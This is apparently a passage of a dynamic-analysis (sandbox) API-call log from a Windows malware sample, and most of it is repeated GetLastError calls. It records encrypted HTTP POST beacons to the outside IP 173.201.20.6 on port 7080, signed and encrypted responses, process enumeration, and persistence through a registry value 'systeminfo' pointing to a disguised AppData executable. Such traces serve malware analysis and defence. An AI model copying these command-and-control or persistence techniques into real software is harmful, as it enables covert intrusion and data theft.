lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0071.090] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x33b6048*, dwOptionalLength=0x2c4 | out: lpOptional=0x33b6048*) returned 1 [0071.652] lstrlenA (lpString="just string") returned 11 [0071.652] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.652] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.653] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.654] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.655] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.656] GetLastError () returned 0x0 [0071.657] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x2f1fce0, lpdwBufferLength=0x2f1fc38, lpdwIndex=0x0 | out: lpBuffer=0x2f1fce0*, lpdwBufferLength=0x2f1fc38*=0x4, lpdwIndex=0x0) returned 1 [0071.657] GetLastError () returned 0x0 [0071.657] GetLastError () returned 0x0 [0071.657] GetLastError () returned 0x0 [0071.657] GetLastError () returned 0x0 [0071.657] GetLastError () returned 0x0 [0071.657] GetLastError () returned 0x0 [0071.657] GetLastError () returned 0x0 [0071.657] GetLastError () returned 0x0 [0071.657] GetLastError () returned 0x0 [0071.657] GetLastError () returned 0x0 [0071.657] GetLastError () returned 0x0 [0071.657] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.658] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.659] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.660] GetLastError () returned 0x0 [0071.661] GetLastError () returned 0x0 [0071.661] GetLastError () returned 0x0 [0071.661] GetLastError () returned 0x0 [0071.661] GetLastError () returned 0x0 [0071.661] GetLastError () returned 0x0 [0071.661] GetLastError () returned 0x0 [0071.661] GetLastError () returned 0x0 [0071.661] GetLastError () returned 0x0 [0071.661] GetLastError () returned 0x0 [0071.661] GetLastError () returned 0x0 [0071.661] GetLastError () returned 0x0 [0071.661] GetLastError () returned 0x0 [0071.661] GetLastError () returned 0x0 [0071.661] GetLastError () returned 0x0 [0071.662] GetLastError () returned 0x0 [0071.662] GetLastError () returned 0x0 [0071.662] GetLastError () returned 0x0 [0071.662] GetLastError () returned 0x0 [0071.662] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.663] GetLastError () returned 0x0 [0071.664] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x2f1fc28, lpdwBufferLength=0x2f1fc30, lpdwIndex=0x0 | out: lpBuffer=0x2f1fc28*, lpdwBufferLength=0x2f1fc30*=0x4, lpdwIndex=0x0) returned 1 [0071.664] GetLastError () returned 0x0 [0071.664] wsprintfA (in: param_1=0x2f1fb97, param_2="%X%P" | out: param_1="6F5C58P") returned 7 [0071.664] SetLastError (dwErrCode=0x0) [0071.664] GetCurrentProcessId () returned 0x81c [0071.664] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x406c38, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x406c38*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x94) returned 1 [0071.664] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x406ccc, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x406ccc*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x0) returned 1 [0071.664] GetCurrentProcessId () returned 0x81c [0071.665] GetCurrentProcessId () returned 0x81c [0071.665] GetCurrentProcessId () returned 0x81c [0071.665] lstrlenA (lpString="just string") returned 11 [0071.665] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.665] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0071.665] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db768, Final=1, dwFlags=0x0, pbData=0x40ccf8, pdwDataLen=0x2f1fcfc | out: pbData=0x40ccf8, pdwDataLen=0x2f1fcfc) returned 1 [0071.665] CryptVerifySignatureW (hHash=0x3db768, pbSignature=0x406c38, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0071.665] CryptDestroyHash (hHash=0x3db768) returned 1 [0071.665] GetLastError () returned 0x0 [0071.665] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.665] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0071.665] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.665] RegSetValueExW (in: hKey=0x45c, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0071.665] RegCloseKey (hKey=0x45c) returned 0x0 [0071.665] GetLastError () returned 0x0 [0071.665] wsprintfA (in: param_1=0x2f1fa6f, param_2="%X%P" | out: param_1="6F94F2P") returned 7 [0071.665] SetLastError (dwErrCode=0x0) [0071.665] GetCurrentProcessId () returned 0x81c [0072.001] GetTickCount () returned 0x21100 [0072.001] GetCurrentProcess () returned 0xffffffff [0072.001] GetLastError () returned 0x0 [0072.001] wsprintfA (in: param_1=0x2f1fc8b, param_2="%X%P" | out: param_1="6F9519P") returned 7 [0072.001] SetLastError (dwErrCode=0x0) [0072.001] GetCurrentProcessId () returned 0x81c [0072.001] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2f1faf8, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0072.001] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0072.001] GetLastError () returned 0x0 [0072.001] wsprintfA (in: param_1=0x2f1fa5f, param_2="%X%P" | out: param_1="6F951AP") returned 7 [0072.001] SetLastError (dwErrCode=0x0) [0072.001] GetCurrentProcessId () returned 0x81c [0072.001] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x45c [0072.003] GetCurrentProcessId () returned 0x81c [0072.003] Process32FirstW (in: hSnapshot=0x45c, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0072.003] GetCurrentProcessId () returned 0x81c [0072.003] GetCurrentProcessId () returned 0x81c [0072.003] GetCurrentProcessId () returned 0x81c [0072.003] lstrlenA (lpString="just string") returned 11 [0072.003] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0072.017] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0072.017] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db768, Final=1, dwFlags=0x0, pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x246, dwBufLen=0x250 | out: pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x250) returned 1 [0072.017] GetCurrentProcessId () returned 0x81c [0072.017] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x2f1fbb4, pdwDataLen=0x2f1fc20 | out: pbData=0x2f1fbb4*, pdwDataLen=0x2f1fc20*=0x6c) returned 1 [0072.017] lstrlenA (lpString="just string") returned 11 [0072.017] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0072.017] CryptGetHashParam (in: hHash=0x3db768, dwParam=0x2, pbData=0x33b60a8, pdwDataLen=0x2f1fc20, dwFlags=0x0 | out: pbData=0x33b60a8, pdwDataLen=0x2f1fc20) returned 1 [0072.017] CryptDestroyHash (hHash=0x3db768) returned 1 [0072.017] GetLastError () returned 0x0 [0072.017] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x2f1fa28, cbSize=0x2f1fc28 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x2f1fc28) returned 0x0 [0072.017] GetLastError () returned 0x0 [0072.017] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2f1fa28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0072.017] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.018] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.018] GetCurrentProcess () returned 0xffffffff [0072.018] GetLastError () returned 0x0 [0072.018] wsprintfA (in: param_1=0x2f1fbb7, param_2="%X%P" | out: param_1="6FF7C5P") returned 7 [0072.018] SetLastError (dwErrCode=0x0) [0072.018] GetCurrentProcessId () returned 0x81c [0072.018] GetLastError () returned 0x0 [0072.018] wsprintfA (in: param_1=0x2f1fba3, param_2="%X%P" | out: param_1="6FF7C6P") returned 7 [0072.018] SetLastError (dwErrCode=0x0) [0072.018] GetCurrentProcessId () returned 0x81c [0072.018] GetCurrentProcessId () returned 0x81c [0072.018] GetCurrentProcessId () returned 0x81c [0072.018] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0072.019] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x33b6048*, dwOptionalLength=0x2c4 | out: lpOptional=0x33b6048*) returned 1 [0072.591] GetLastError () returned 0x0 [0072.593] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x2f1fce0, lpdwBufferLength=0x2f1fc38, lpdwIndex=0x0 | out: lpBuffer=0x2f1fce0*, lpdwBufferLength=0x2f1fc38*=0x4, lpdwIndex=0x0) returned 1 [0072.593] GetCurrentProcess () returned 0xffffffff [0072.593] GetLastError () returned 0x0 [0072.593] wsprintfA (in: param_1=0x2f1fb8f, param_2="%X%P" | out: param_1="6FF7CFP") returned 7 [0072.593] SetLastError (dwErrCode=0x0) [0072.593] GetCurrentProcessId () returned 0x81c [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] 